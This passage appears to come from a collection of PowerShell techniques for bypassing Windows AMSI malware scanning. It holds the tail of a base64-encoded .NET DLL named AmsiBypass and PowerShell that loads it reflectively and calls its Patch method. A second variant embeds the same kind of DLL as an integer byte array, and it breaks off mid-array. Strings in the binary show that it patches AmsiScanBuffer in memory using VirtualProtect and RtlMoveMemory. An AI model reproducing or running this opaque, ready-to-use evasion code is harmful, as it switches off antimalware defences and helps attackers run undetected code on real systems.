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")) | Out-Null + Write-Output "DLL has been reflected"; + } + [Bypass.AMSI]::Patch() +} +``` + +## Same as 6 but integer Bytes instead of Base64 + +```ps1 +function MyPatch{ + if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { + [Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 27, 37, 18, 183, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 34, 32, 11, 1, 48, 0, 0, 14, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 44, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 64, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 44, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 48, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 44, 43, 0, 0, 84, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 108, 12, 0, 0, 0, 32, 0, 0, 0, 14, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 48, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 64, 33, 0, 0, 236, 9, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 4, 0, 217, 0, 0, 0, 1, 0, 0, 17, 0, 114, 1, 0, 0, 112, 40, 1, 0, 0, 6, 10, 6, 126, 12, 0, 0, 10, 40, 13, 0, 0, 10, 19, 6, 17, 6, 44, 20, 0, 114, 19, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 56, 165, 0, 0, 0, 6, 114, 107, 0, 0, 112, 40, 2, 0, 0, 6, 11, 7, 126, 12, 0, 0, 10, 40, 13, 0, 0, 10, 19, 8, 17, 8, 44, 17, 0, 114, 137, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 43, 119, 26, 106, 40, 15, 0, 0, 10, 12, 22, 13, 7, 8, 31, 64, 18, 3, 40, 3, 0, 0, 6, 22, 254, 1, 19, 9, 17, 9, 44, 17, 0, 114, 255, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 43, 72, 25, 141, 18, 0, 0, 1, 37, 208, 1, 0, 0, 4, 40, 16, 0, 0, 10, 19, 4, 25, 40, 17, 0, 0, 10, 19, 5, 17, 4, 22, 17, 5, 25, 40, 18, 0, 0, 10, 0, 7, 31, 27, 40, 19, 0, 0, 10, 17, 5, 25, 40, 4, 0, 0, 6, 0, 114, 117, 1, 0, 112, 40, 14, 0, 0, 10, 0, 22, 19, 7, 43, 0, 17, 7, 42, 34, 2, 40, 20, 0, 0, 10, 0, 42, 0, 0, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 212, 2, 0, 0, 35, 126, 0, 0, 64, 3, 0, 0, 176, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 240, 6, 0, 0, 204, 1, 0, 0, 35, 85, 83, 0, 188, 8, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 204, 8, 0, 0, 32, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 149, 2, 52, 9, 2, 0, 0, 0, 250, 1, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 4, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 10, 0, 0, 0, 20, 0, 0, 0, 11, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 85, 2, 1, 0, 0, 0, 0, 0, 6, 0, 141, 1, 206, 2, 6, 0, 223, 1, 206, 2, 6, 0, 231, 0, 156, 2, 15, 0, 238, 2, 0, 0, 6, 0, 18, 1, 14, 2, 6, 0, 198, 1, 107, 2, 6, 0, 110, 1, 107, 2, 6, 0, 43, 1, 107, 2, 6, 0, 72, 1, 107, 2, 6, 0, 173, 1, 107, 2, 6, 0, 251, 0, 107, 2, 6, 0, 48, 3, 100, 2, 6, 0, 204, 0, 206, 2, 6, 0, 194, 0, 100, 2, 6, 0, 149, 2, 100, 2, 6, 0, 154, 0, 100, 2, 6, 0, 148, 2, 100, 2, 6, 0, 253, 1, 100, 2, 6, 0, 253, 2, 206, 2, 6, 0, 125, 3, 100, 2, 6, 0, 135, 0, 100, 2, 6, 0, 64, 2, 175, 2, 0, 0, 0, 0, 38, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 46, 2, 16, 3, 49, 0, 1, 0, 1, 0, 0, 1, 0, 0, 47, 0, 0, 0, 49, 0, 1, 0, 7, 0, 19, 1, 0, 0, 10, 0, 0, 0, 57, 0, 2, 0, 7, 0, 51, 1, 78, 0, 91, 0, 0, 0, 0, 0, 128, 0, 150, 32, 136, 3, 95, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 23, 3, 100, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 70, 3, 106, 0, 4, 0, 0, 0, 0, 0, 128, 0, 145, 32, 151, 3, 115, 0, 8, 0, 80, 32, 0, 0, 0, 0, 150, 0, 40, 2, 122, 0, 11, 0, 53, 33, 0, 0, 0, 0, 134, 24, 142, 2, 6, 0, 11, 0, 0, 0, 1, 0, 179, 0, 0, 0, 1, 0, 162, 0, 0, 0, 2, 0, 170, 0, 0, 0, 1, 0, 38, 3, 0, 0, 2, 0, 2, 2, 0, 0, 3, 0, 85, 3, 2, 0, 4, 0, 55, 3, 0, 0, 1, 0, 110, 3, 0, 0, 2, 0, 119, 0, 0, 0, 3, 0, 9, 2, 9, 0, 142, 2, 1, 0, 17, 0, 142, 2, 6, 0, 25, 0, 142, 2, 10, 0, 41, 0, 142, 2, 16, 0, 49, 0, 142, 2, 16, 0, 57, 0, 142, 2, 16, 0, 65, 0, 142, 2, 16, 0, 73, 0, 142, 2, 16, 0, 81, 0, 142, 2, 16, 0, 89, 0, 142, 2, 16, 0, 105, 0, 142, 2, 6, 0, 121, 0, 137, 2, 35, 0, 121, 0, 162, 3, 38, 0, 129, 0, 184, 0, 44, 0, 137, 0, 98, 3, 49, 0, 153, 0, 115, 3, 54, 0, 177, 0, 51, 2, 62, 0, 177, 0, 131, 3, 67, 0, 121, 0, 125, 2, 76, 0, 97, 0, 142, 2, 6, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 135, 0, 46, 0, 27, 0, 166, 0, 46, 0, 35, 0, 175, 0, 46, 0, 43, 0, 230, 0, 46, 0, 51, 0, 246, 0, 46, 0, 59, 0, 1, 1, 46, 0, 67, 0, 14, 1, 46, 0, 75, 0, 230, 0, 46, 0, 83, 0, 230, 0, 99, 0, 91, 0, 25, 1, 1, 0, 3, 0, 0, 0, 4, 0, 21, 0, 1, 0, 72, 2, 0, 1, 3, 0, 136, 3, 1, 0, 0, 1, 5, 0, 23, 3, 1, 0, 0, 1, 7, 0, 70, 3, 1, 0, 0, 1, 9, 0, 148, 3, 2, 0, 100, 44, 0, 0, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 3, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 123, 0, 0, 0, 0, 0, 4, 0, 3, 0, 0, 0, 0, 0, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 95, 95, 83, 116, 97, 116, 105, 99, 65, 114, 114, 97, 121, 73, 110, 105, 116, 84, 121, 112, 101, 83, 105, 122, 101, 61, 51, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 60, 80, 114, 105, 118, 97, 116, 101, 73, 109, 112, 108, 101, 109, 101, 110, 116, 97, 116, 105, 111, 110, 68, 101, 116, 97, 105, 108, 115, 62, 0, 53, 49, 67, 65, 70, 66, 52, 56, 49, 51, 57, 66, 48, 50, 69, 48, 54, 49, 68, 52, 57, 49, 57, 67, 53, 49, 55, 54, 54, 50, 49, 66, 70, 56, 55, 68, 65, 67, 69, 68, 0, 115, 114, 99, 0, 110, 101, 116, 115, 116, 97, 110, 100, 97, 114, 100, 0, 82, 117, 110, 116, 105, 109, 101, 70, 105, 101, 108, 100, 72, 97, 110, 100, 108, 101, 0, 67, 111, 110, 115, 111, 108, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 110, 97, 109, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 86, 97, 108, 117, 101, 84, 121, 112, 101, 0, 67, 111, 109, 112, 105, 108, 101, 114, 71, 101, 110, 101, 114, 97, 116, 101, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 70, 105, 108, 101, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 97, 108, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 66, 121, 116, 101, 0, 100, 119, 83, 105, 122, 101, 0, 115, 105, 122, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 80, 97, 116, 99, 104, 0, 65, 109, 115, 105, 0, 65, 108, 108, 111, 99, 72, 71, 108, 111, 98, 97, 108, 0, 77, 97, 114, 115, 104, 97, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 46, 100, 108, 108, 0, 83, 121, 115, 116, 101, 109, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 111, 112, 95, 65, 100, 100, 105, 116, 105, 111, 110, 0, 90, 101, 114, 111, 0, 46, 99, 116, 111, 114, 0, 85, 73, 110, 116, 80, 116, 114, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 82, 117, 110, 116, 105, 109, 101, 72, 101, 108, 112, 101, 114, 115, 0, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 79, 98, 106, 101, 99, 116, 0, 108, 112, 102, 108, 79, 108, 100, 80, 114, 111, 116, 101, 99, 116, 0, 86, 105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0, 102, 108, 78, 101, 119, 80, 114, 111, 116, 101, 99, 116, 0, 111, 112, 95, 69, 120, 112, 108, 105, 99, 105, 116, 0, 100, 101, 115, 116, 0, 73, 110, 105, 116, 105, 97, 108, 105, 122, 101, 65, 114, 114, 97, 121, 0, 67, 111, 112, 121, 0, 76, 111, 97, 100, 76, 105, 98, 114, 97, 114, 121, 0, 82, 116, 108, 77, 111, 118, 101, 77, 101, 109, 111, 114, 121, 0, 111, 112, 95, 69, 113, 117, 97, 108, 105, 116, 121, 0, 0, 0, 0, 17, 97, 0, 109, 0, 115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 87, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0, 118, 0, 101, 0, 32, 0, 97, 0, 109, 0, 115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 101, 0, 114, 0, 33, 0, 0, 29, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 0, 117, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0, 118, 0, 101, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 102, 0, 117, 0, 110, 0, 99, 0, 116, 0, 105, 0, 111, 0, 110, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 101, 0, 114, 0, 33, 0, 0, 117, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 109, 0, 111, 0, 100, 0, 105, 0, 102, 0, 121, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 109, 0, 101, 0, 109, 0, 111, 0, 114, 0, 121, 0, 32, 0, 112, 0, 101, 0, 114, 0, 109, 0, 105, 0, 115, 0, 115, 0, 105, 0, 111, 0, 110, 0, 115, 0, 33, 0, 0, 83, 71, 0, 114, 0, 101, 0, 97, 0, 116, 0, 32, 0, 115, 0, 117, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 46, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 112, 0, 97, 0, 116, 0, 99, 0, 104, 0, 101, 0, 100, 0, 33, 0, 32, 0, 58, 0, 41, 0, 0, 0, 0, 0, 94, 196, 134, 67, 207, 43, 76, 71, 180, 110, 209, 17, 221, 107, 164, 138, 0, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 32, 1, 1, 17, 17, 4, 32, 1, 1, 14, 13, 7, 10, 24, 24, 25, 9, 29, 5, 24, 2, 8, 2, 2, 2, 6, 24, 5, 0, 2, 2, 24, 24, 4, 0, 1, 1, 14, 4, 0, 1, 25, 11, 7, 0, 2, 1, 18, 81, 17, 85, 4, 0, 1, 24, 8, 8, 0, 4, 1, 29, 5, 8, 24, 8, 5, 0, 2, 24, 24, 8, 8, 204, 123, 19, 255, 205, 45, 221, 81, 3, 6, 17, 16, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 4, 2, 24, 25, 9, 16, 9, 6, 0, 3, 1, 24, 24, 8, 3, 0, 0, 8, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 8, 1, 0, 7, 1, 0, 0, 0, 0, 54, 1, 0, 25, 46, 78, 69, 84, 83, 116, 97, 110, 100, 97, 114, 100, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 50, 46, 48, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 15, 1, 0, 10, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 0, 0, 10, 1, 0, 5, 68, 101, 98, 117, 103, 0, 0, 12, 1, 0, 7, 49, 46, 48, 46, 48, 46, 48, 0, 0, 10, 1, 0, 5, 49, 46, 48, 46, 48, 0, 0, 4, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 92, 168, 168, 0, 1, 77, 80, 2, 0, 0, 0, 100, 0, 0, 0, 128, 43, 0, 0, 128, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 19, 0, 0, 0, 39, 0, 0, 0, 228, 43, 0, 0, 228, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 83, 68, 83, 215, 18, 206, 3, 139, 112, 185, 73, 189, 89, 99, 32, 233, 159, 0, 221, 1, 0, 0, 0, 47, 111, 112, 116, 47, 80, 114, 111, 106, 101, 99, 116, 115, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 111, 98, 106, 47, 68, 101, 98, 117, 103, 47, 110, 101, 116, 115, 116, 97, 110, 100, 97, 114, 100, 50, 46, 48, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 46, 112, 100, 98, 0, 83, 72, 65, 50, 53, 54, 0, 215, 18, 206, 3, 139, 112, 185, 169, 125, 89, 99, 32, 233, 159, 0, 221, 32, 92, 168, 40, 54, 252, 229, 155, 150, 128, 72, 101, 126, 213, 146, 143, 51, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 44, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 49, 255, 144, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 